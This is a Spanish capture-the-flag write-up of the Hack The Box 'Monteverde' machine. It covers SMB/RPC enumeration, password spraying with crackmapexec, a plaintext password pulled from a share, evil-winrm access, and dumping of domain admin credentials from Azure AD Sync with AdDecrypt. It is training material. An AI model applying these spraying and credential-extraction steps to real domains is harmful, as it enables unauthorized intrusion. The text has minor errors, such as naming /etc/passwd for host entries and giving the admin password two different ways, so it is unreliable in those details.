

Monteverde

Reconocimiento

Primero que todo, realizamos un ping a la máquina para ver si nuestro equipo tiene conectividad con esta; IP: 10.10.10.172 .

```
(root@zephyrus)-[/home/dimegio/Dimegio/HackTheBox/Monteverde]
# ping 10.10.10.172
PING 10.10.10.172 (10.10.10.172) 56(84) bytes of data.
64 bytes from 10.10.10.172: icmp_seq=1 ttl=127 time=40.8 ms
64 bytes from 10.10.10.172: icmp_seq=2 ttl=127 time=36.1 ms
^C
--- 10.10.10.172 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 36.141/38.470/40.799/2.329 ms
```

Como se puede ver, la máquina está activa con un TTL de 127, es decir es una Windows.

Enumeración

Empezamos la fase de enumeración con la recopilación de puertos abiertos de la máquina:

```
nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn 10.10.10.172 -oG allPorts
```

```
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
53/tcp    open  domain       syn-ack ttl 127
88/tcp    open  kerberos-sec syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
389/tcp   open  ldap         syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
464/tcp   open  kpasswd5     syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl      syn-ack ttl 127
3268/tcp   open  globalcatLDAP syn-ack ttl 127
3269/tcp   open  globalcatLDAPssl syn-ack ttl 127
5985/tcp   open  wsman        syn-ack ttl 127
9389/tcp   open  adws         syn-ack ttl 127
49667/tcp  open  unknown      syn-ack ttl 127
49673/tcp  open  unknown      syn-ack ttl 127
49674/tcp  open  unknown      syn-ack ttl 127
49675/tcp  open  unknown      syn-ack ttl 127
49737/tcp  open  unknown      syn-ack ttl 127
50314/tcp  open  unknown      syn-ack ttl 127
```

Una vez teniendo los puertos abiertos, realizamos un escaneo de versiones y servicios:

```
nmap -sC -sV -
p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49675,49
```

```
737,50314 10.10.10.172 -oN targeted
```

```
(root@zephyrus)-[/home/dimegio/Dimegio/HackTheBox/MonteVerde]
# nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49675,49737,50314 10.10.10.172
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 15:46 CEST
Nmap scan report for 10.10.10.172
Host is up (0.097s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-23 13:46:52Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
49667/tcp open  msrpc        Microsoft Windows RPC
49673/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc        Microsoft Windows RPC
49675/tcp open  msrpc        Microsoft Windows RPC
49737/tcp open  msrpc        Microsoft Windows RPC
50314/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-security-mode:
|   3:1:1:
|_   Message signing enabled and required
|_ smb2-time:
|   date: 2024-07-23T13:47:44
|_ start_date: N/A
|_ clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.26 seconds

(root@zephyrus)-[/home/dimegio/Dimegio/HackTheBox/MonteVerde]
#
```

Empezamos a enumerar ahora los servicios

Crackmapexec

Primero que todo, mediante crackmapexec listamos ante que sistema operativo nos encontramos y además obtenemos el nombre del dominio:

```
crackmapexec smb 10.10.10.172
```

```
(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$ crackmapexec smb 10.10.10.172
SMB      10.10.10.172    445    MONTEVERDE    [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVE
RDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)

(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$
```

En este caso, el nombre del dominio es: `MEGABANK.LOCAL`. El cual deberemos de añadir en nuestro `/etc/passwd`, para que en un futuro podamos apuntar hacia el dominio.

Si intentamos listar los recursos mediante crackmapexec `--shares` veremos que no tenemos permisos para hacerlo.

RPCCLIENT

Utilizamos rpcclient para intentar enumerar los usuarios

```
rpcclient -U "" 10.10.10.172 -N
rpcclient $> enumdomusers
```

```
(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$ rpcclient -U "" 10.10.10.172 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
rpcclient $> |
```

Como podemos ver, efectivamente llegamos a enumerar los usuarios. Por otra parte, enumeramos los grupos:

```
rpcclient -U "" 10.10.10.172 -N -c "enumdomgroups"
```

```
(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$ rpcclient -U "" 10.10.10.172 -N -c "enumdomgroups"
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
```

```
(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$ |
```

En caso de que tengamos un listado de usuarios, podemos probar a ver si dichos usuarios tiene como contraseña su propio nombre:

```
crackmapexec smb 10.10.10.172 -u users -p users --continue
```

```
(dimegio@zephyrus) [~/Dimegio/HackTheBox/MonteVerde]
$ crackmapexec smb 10.10.10.172 -u users -p users --continue
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [*] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:smorgan STATUS_LOGON_FAILURE
```

En este caso, nos reporta que `SABatchJobs:SABatchJobs` es un válido.

SMBMAP

Enumeramos los recursos existentes para el usuario: `SABatchJobs`

```
smbmap -H 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs'
```

```
(dimegio@zephyrus) [~/Dimegio/HackTheBox/MonteVerde]
$ smbmap -H 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.172:445      Name: MEGABANK.LOCAL      Status: Authenticated
    Disk                    Permissions              Comment
    ----                    -
    ADMIN$                  NO ACCESS               Remote Admin
    azure_uploads            READ ONLY
    C$                      NO ACCESS               Default share
    E$                      NO ACCESS               Default share
    IPC$                    READ ONLY               Remote IPC
    NETLOGON                READ ONLY               Logon server share
    SYSVOL                  READ ONLY               Logon server share
    users$                  READ ONLY

[*] Closed 1 connections

(dimegio@zephyrus) [~/Dimegio/HackTheBox/MonteVerde]
$
```

Inspeccionando los directorios disponibles, encontramos un archivo `azure.xml` en `users$/mhope`

```
smbmap -H 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' -r users$/mhope
```

```
(dimegio@zephyrus) - [~/Dimegio/HackTheBox/Monteverde]
$ smbmap -H 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' -r users$/mhope
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.172:445      Name: MEGABANK.LOCAL      Status: Authenticated
    Disk                    Permissions      Comment
    ----                    -
    ADMIN$                  NO ACCESS      Remote Admin
    azure_uploads            READ ONLY
    C$                      NO ACCESS      Default share
    E$                      NO ACCESS      Default share
    IPC$                    READ ONLY      Remote IPC
    NETLOGON                READ ONLY      Logon server share
    SYSVOL                  READ ONLY      Logon server share
    users$                  READ ONLY
    ./users$mhope
    dr--r--r--              0 Fri Jan 3 14:41:18 2020  .
    dr--r--r--              0 Fri Jan 3 14:41:18 2020  ..
    fw--w--w--             1212 Fri Jan 3 15:59:24 2020  azure.xml

[*] Closed 1 connections

(dimegio@zephyrus) - [~/Dimegio/HackTheBox/Monteverde]
$
```

Descargamos el archivo mediante `--download` apuntando al propio archivo.

Inspeccionandolo:

```
(dimegio@zephyrus) - [~/Dimegio/HackTheBox/Monteverde]
$ cat azure.xml
File: azure.xml  <UTF-16LE>

1  <Obj Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
2    <Obj RefId="0">
3      <TN RefId="0">
4        <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
5        <T>System.Object</T>
6      </TN>
7      <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
8      <Props>
9        <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
10       <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
11       <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
12       <S N="Password">4n0therD4y@n0th3r$</S>
13     </Props>
14   </Obj>
15 </Obj>
```

Obtenemos la contraseña: `4n0therD4y@n0th3r$`

En caso de que esté el puerto `5985` abierto, y tenemos credenciales válidas. Podemos utilizar `crackmapexec`, para ver si el resultado sea `Pwned!` al intentar establecer conexión, eso significará que el usuario pertenece al grupo `Remote Management Users`

Password Spraying SMB


```
crackmapexec winrm 10.10.10.172 -u users -p '4n0therD4y@n0th3r$' --continue-on-success
```

```
(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$ crackmapexec winrm 10.10.10.172 -u users -p '4n0therD4y@n0th3r$' --continue-on-success
SMB      10.10.10.172  5985  MONTEVERDE  [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE)
HTTP     10.10.10.172  5985  MONTEVERDE  [*] http://10.10.10.172:5985/wsman
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\Guest:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\SABatchJobs:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\svc-ata:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\svc-bexec:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\svc-netapp:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\roleary:4n0therD4y@n0th3r$
WINRM    10.10.10.172  5985  MONTEVERDE  [-] MEGABANK.LOCAL\smorgan:4n0therD4y@n0th3r$

(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$
```

Utilizar mejor el servicio smb, en vez de winrm para hacer el ataque.

De esta manera conseguimos acceso al sistema mediante `evil-winrm`

```
evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
```

```
(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]
$ evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents>
```

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> ls

Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---             7/23/2024   4:49 AM           34 user.txt

*Evil-WinRM* PS C:\Users\mhope\Desktop> cat user.txt
457a38464d96956cda425afcb39aa0a3
*Evil-WinRM* PS C:\Users\mhope\Desktop> |
```

Escalada de Privilegios

Listando los grupos pertenecientes al usuario, vemos que estamos en el grupo `Azure`

`Admins`

```
net user mhope
```

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> net user mhope
User name                mhope
Full Name                Mike Hope
Comment
User's comment
Country/region code      000 (System Default)
Account active           Yes
Account expires          Never

Password last set        1/2/2020 4:40:05 PM
Password expires         Never
Password changeable      1/3/2020 4:40:05 PM
Password required        Yes
User may change password No

Workstations allowed     All
Logon script
User profile
Home directory           \\monteverde\users$\mhope
Last logon               1/3/2020 6:29:59 AM

Logon hours allowed      All

Local Group Memberships  *Remote Management Use
Global Group memberships *Azure Admins           *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\mhope\Desktop>
```

En el directorio `Program Files` buscamos si existe el directorio `Microsoft Azure AD Sync`.

```
*Evil-WinRM* PS C:\Program Files> dir

Directory: C:\Program Files

Mode                LastWriteTime         Length Name
----                -
d-----          1/2/2020   9:36 PM             Common Files
d-----          1/2/2020   2:46 PM             internet explorer
d-----          1/2/2020   2:38 PM             Microsoft Analysis Services
d-----          1/2/2020   2:51 PM             Microsoft Azure Active Directory Connect
d-----          1/2/2020   3:37 PM             Microsoft Azure Active Directory Connect Upgrader
d-----          1/2/2020   3:02 PM             Microsoft Azure AD Connect Health Sync Agent
d-----          1/2/2020   2:53 PM             Microsoft Azure AD Sync
d-----          1/2/2020   2:38 PM             Microsoft SQL Server
d-----          1/2/2020   2:25 PM             Microsoft Visual Studio 10.0
d-----          1/2/2020   2:32 PM             Microsoft.NET
d-----          1/3/2020   5:28 AM             PackageManagement
d-----          1/2/2020   9:37 PM             VMware
d-r----          1/2/2020   2:46 PM             Windows Defender
d-----          1/2/2020   2:46 PM             Windows Defender Advanced Threat Protection
d-----          9/15/2018  12:19 AM             Windows Mail
d-----          1/2/2020   2:46 PM             Windows Media Player
d-----          9/15/2018  12:19 AM             Windows Multimedia Platform
d-----          9/15/2018  12:28 AM             windows nt
d-----          1/2/2020   2:46 PM             Windows Photo Viewer
d-----          9/15/2018  12:19 AM             Windows Portable Devices
d-----          9/15/2018  12:19 AM             Windows Security
d-----          1/3/2020   5:28 AM             WindowsPowerShell

*Evil-WinRM* PS C:\Program Files>
```

A través de github: <https://github.com/VbScrub/AdSyncDecrypt/releases>, descargamos el exploit y lo subimos a la máquina víctima.

```
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload
/home/dimegio/Dimegio/HackTheBox/Monteverde/AdDecrypt/AdDecrypt.exe
```

```
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload  
/home/dimegio/Dimegio/HackTheBox/Monteverde/AdDecrypt/mcrypt.dll
```

```
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload /home/dimegio/Dimegio/HackTheBox/Monteverde/AdDecrypt/AdDecrypt.exe  
Info: Uploading /home/dimegio/Dimegio/HackTheBox/Monteverde/AdDecrypt/AdDecrypt.exe to C:\Windows\Temp\Privesc\AdDecrypt.exe  
Data: 19796 bytes of 19796 bytes copied  
Info: Upload successful!  
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload /home/dimegio/Dimegio/HackTheBox/Monteverde/AdDecrypt/mcrypt.dll  
Info: Uploading /home/dimegio/Dimegio/HackTheBox/Monteverde/AdDecrypt/mcrypt.dll to C:\Windows\Temp\Privesc\mcrypt.dll  
Data: 445664 bytes of 445664 bytes copied  
Info: Upload successful!  
*Evil-WinRM* PS C:\Windows\Temp\Privesc> |
```

Ahora el binario se tiene que ejecutar desde: "C:\Program Files\Microsoft Azure AD Sync\Bin". Por lo cual, nos movemos a dicho directorio (solamente el path, no los archivos) y ejecutamos el siguiente comando:

```
C:\Windows\Temp\Privesc\AdDecrypt.exe -FullSQL
```

```
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:\Windows\Temp\Privesc\AdDecrypt.exe -FullSQL  
=====  
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL  
Based on original code from: https://github.com/fox-it/adconnectdump  
=====
```

Opening database connection...
Executing SQL commands...
Closing database connection...
Decrypting XML...
Parsing XML...
Finished!

DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeh!
Domain: MEGABANK.LOCAL

```
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin>
```

De esta forma, obtenemos la credencial del Administrator.

Finalmente nos conectamos a la máquina víctima como el usuario Administrator:

```
evil-winrm -i 10.10.10.172 -u "Administrator" -p "d0m@in4dminyeh\!"
```



```
(dimegio@zephyrus)-[~/Dimegio/HackTheBox/MonteVerde]  
$ evil-winrm -i 10.10.10.172 -u "Administrator" -p "d0m@in4dminyeah\!"
```

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented

Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\Administrator\Documents> cd ../Desktop

Evil-WinRM PS C:\Users\Administrator\Desktop> cat root.txt
2e9ce067ce1de620e5a8aed58938b731

Evil-WinRM PS C:\Users\Administrator\Desktop>